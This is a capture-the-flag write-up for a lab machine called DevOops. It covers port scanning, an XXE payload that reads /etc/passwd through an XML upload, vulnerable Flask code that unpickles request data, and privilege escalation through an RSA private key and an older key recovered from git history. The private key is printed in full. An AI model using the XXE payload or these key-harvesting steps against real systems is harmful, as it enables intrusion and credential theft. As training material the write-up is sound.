DevOops

Recon

$nmap -p- -A 10.129.164.53
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 42:90:e3:35:31:8d:8b:86:17:2a:fb:38:90:da:c4:95 (RSA)
|   256 b7:b6:dc:c4:4c:87:9b:75:2a:00:89:83:ed:b2:80:31 (ECDSA)
|_  256 d5:2f:19:53:b2:8e:3a:4b:b3:dd:3c:1f:c0:37:0d:00 (ED25519)
5000/tcp open  http    Gunicorn 19.7.1
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-server-header: gunicorn/19.7.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Going to port 5000, get’s s a nice site under construction!.

Running dirsearch finds us /feed and /upload.

Target: http://10.129.164.53:5000/

[19:31:38] Starting: 
[19:32:05] 200 -  533KB - /feed
[19:32:27] 200 -  347B  - /upload

As one could expect, /upload will be our primary target.

Uploading my sample xml file, causes the server to crash.

Creating xml as mentioned by the site, returns some kind of blogpost processing response.

<Document>
    <Author>John Doe</Author>
    <Subject>XML Tutorial</Subject>
    <Content>
        XML (Extensible Markup Language) is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable.
    </Content>
</Document>

Going to http://10.129.164.53:5000/uploads/sample-xml-files-sample-4.xml does indeed work.

We also learn that the files are stored under /home/roosa/deploy/src and now know the name of our victim user roosa. For a recap on testing xml files, checkout hacktricks, as this is where I got my code from. Let’s test if ENTITY declaration is working.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<Document>
    <Author>John Doe</Author>
    <Subject>XML Tutorial</Subject>
    <Content>
        XML (Extensible Markup Language) is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable.
    </Content>
</Document>

Testing further, let’s see if we can see file contents.

<!DOCTYPE foo 
[<!ENTITY example SYSTEM "/etc/passwd"> 
]>
<Document>
    <Author>&example;</Author>
    <Subject>XML Tutorial</Subject>
    <Content>
        XML (Extensible Markup Language) is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable.
    </Content>
</Document>

It works!

There are two ways of moving forward. One, just grabbing the id_rsa (/home/roosa/.ssh/id_rsa) of user roosa, that we found earlier. Remember to chmod 600 and we are in.

Second option is to try to abuse feed.py.

def uploaded_file(filename):
    return send_from_directory(Config.UPLOAD_FOLDER, filename)

@app.route("/")
def xss():
    return render_template('index.html')

@app.route("/feed")
def fakefeed():
    return send_from_directory(".", "devsolita-snapshot.png")

@app.route("/newpost", methods=["POST"])
def newpost():
    # TODO: Proper save to database, this is for testing purposes right now
    picklestr = base64.urlsafe_b64decode(request.data)
    
    # Deserialize the pickled object
    postObj = pickle.loads(picklestr)
    
    return "POST RECEIVED: " + postObj['Subject']

## TODO: VERY important! DISABLED THIS IN PRODUCTION
# app = DebuggedApplication(app, evalex=True, console_path='/debugconsole')

# TODO: Replace run-gunicorn.sh with real Linux service script
# app = DebuggedApplication(app, evalex=True, console_path='/debugconsole')

if __name__ == "__main__":
    app.run(host='0.0.0.0', debug=True)

We can do a post to /newpost and get a reverse shell. Abusing pickle is nicely explained in this blogpost.

Priv esc

In our home folder we have a couple of non-standard things.

run-blogfeed.sh

#/bin/bash

# TODO: replace with better script and run as blogfeed user which is restricted

cd /home/roosa/work/blogfeed/src
../run-gunicorn.sh

run-gunicorn.sh:

#!/bin/sh

export FLASK_APP=feed.py
export WERKZEUG_DEBUG_PIN=151237652
gunicorn -w 10 -b 0.0.0.0:5000 --log-file feed.log --log-level DEBUG --access-logfile access.log feed:app

There is also /deploy and /work. They both have run-gunicorn script, but /work has also authcredentials.key.

~/work/blogfeed/resources/integration$ cat authcredentials.key 
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEApc7idlMQHM4QDf2d8MFjIW40UickQx/cvxPZX0XunSLD8veN
ouroJLw0Qtfh+dS6y+rbHnj4+HySF1HCAWs53MYS7m67bCZh9Bj21+E4fz/uwDSE
23g18kmkjmzWQ2AjDeC0EyWH3k4iRnABruBHs8+fssjW5sSxze74d7Ez3uOI9zPE
sQ26ynmLutnd/MpyxFjCigP02McCBrNLaclcbEgBgEn9v+KBtUkfgMgt5CNLfV8s
ukQs4gdHPeSj7kDpgHkRyCt+YAqvs3XkrgMDh3qI9tCPfs8jHUvuRHyGdMnqzI16
ZBlx4UG0bdxtoE8DLjfoJuWGfCF/dTAFLHK3mwIDAQABAoIBADelrnV9vRudwN+h
LZ++l7GBlge4YUAx8lkipUKHauTL5S2nDZ8O7ahejb+dSpcZYTPM94tLmGt1C2bO
JqlpPjstMu9YtIhAfYF522ZqjRaP82YIekpaFujg9FxkhKiKHFms/2KppubiHDi9
oKL7XLUpSnSrWQyMGQx/Vl59V2ZHNsBxptZ+qQYavc7bGP3h4HoRurrPiVlmPwXM
xL8NWx4knCZEC+YId8cAqyJ2EC4RoAr7tQ3xb46jC24Gc/YFkI9b7WCKpFgiszhw
vFvkYQDuIvzsIyunqe3YR0v8TKEfWKtm8T9iyb2yXTa+b/U3I9We1P+0nbfjYX8x
6umhQuECgYEA0fvp8m2KKJkkigDCsaCpP5dWPijukHV+CLBldcmrvUxRTIa8o4e+
OWOMW1JPEtDTj7kDpikekvHBPACBd5fYnqYnxPv+6pfyh3H5SuLhu9PPA36MjRyE
4+tDgPvXsfQqAKLF3crG9yKVUqw2G8FFo7dqLp3cDxCs5sk6Gq/lAesCgYEAyiS0
937GI+GDtBZ4bjylz4L5IHO55WI7CYPKrgUeKqi8ovKLDsBEboBbqRWcHr182E94
SQMoKu++K1nbly2YS+mv4bOanSFdc6bT/SAHKdImo8buqM0IhrYTNvArN/Puv4VT
Nszh8L9BDEc/DOQQQzsKiwIHab/rKJHZeA6cBRECgYEAgLg6CwAXBxgJjAc3Uge4
eGDe3y/cPfWoEs9/AptjiaD03UJi9KPLegaKDZkBG/mjFqFFmV/vfAhyecOdmaAd
i/Mywc/vzgLjCyBUvxEhazBF4FB8/CuVUtnvAWxgJpgT/1vIi1M4cFpkys8CRDVP
6TIQBw+BzEJemwKTebSFX40CgYEAtZt61iwYWV4fFCln8yobka5KoeQ2rCWvgqHb
8rH4Yz0LlJ2xXwRPtrMtJmCazWdSBYiIOZhTexe+03W8ejrla7Y8ZNsWWnsCWYgV
RoGCzgjW3Cc6fX8PXO+xnZbyTSejZH+kvkQd7Uv2ZdCQjcVL8wrVMwQUouZgoCdA
qML/WvECgYEAyNoevgP+tJqDtrxGmLK2hwuoY11ZIgxHUj9YkikwuZQOmFk3EffI
T3Sd/6nWVzi1FO16KjhRGrqwb6BCDxeyxG508hHzikoWyMN0AA2st8a8YS6jiOog
bU34EzQLp7oRU/TKO6Mx5ibQxkZPIHfgA1+Qsu27yIwlprQ64+oeEr0=
-----END RSA PRIVATE KEY-----

That is definetly interesting, I tried to ssh as root into the server, but no shot. Exploring /work further, I found that it has git in it.

~/work/blogfeed$ ls -la
total 32
drwxrwx--- 5 roosa roosa 4096 Oct 17 09:51 .
drwxrwxr-x 3 roosa roosa 4096 Mar 26  2021 ..
-rw-rw-r-- 1 roosa roosa    0 Oct 17 09:51 access.log
-rw-rw-r-- 1 roosa roosa 3869 Oct 17 09:51 feed.log
drwxrwx--- 8 roosa roosa 4096 Mar 26  2021 .git
-rw-rw---- 1 roosa roosa  104 Mar 19  2018 README.md
drwxrwx--- 3 roosa roosa 4096 Mar 26  2021 resources
-rwxrw-r-- 1 roosa roosa  180 Mar 21  2018 run-gunicorn.sh
drwxrwx--- 2 roosa roosa 4096 Mar 26  2021 src

Checking the commits get’s us explanation, why our ssh key didn’t work.

roosa@devoops:~/work/blogfeed$ git log --name-only --oneline
<SNIP>
33e87c3 reverted accidental commit with proper key
resources/integration/authcredentials.key
d387abf add key for feed integration from tnerprise backend
resources/integration/authcredentials.key
1422e5a Initial commit
README.md

Logging in with newly obtained ssh key works. Cool box.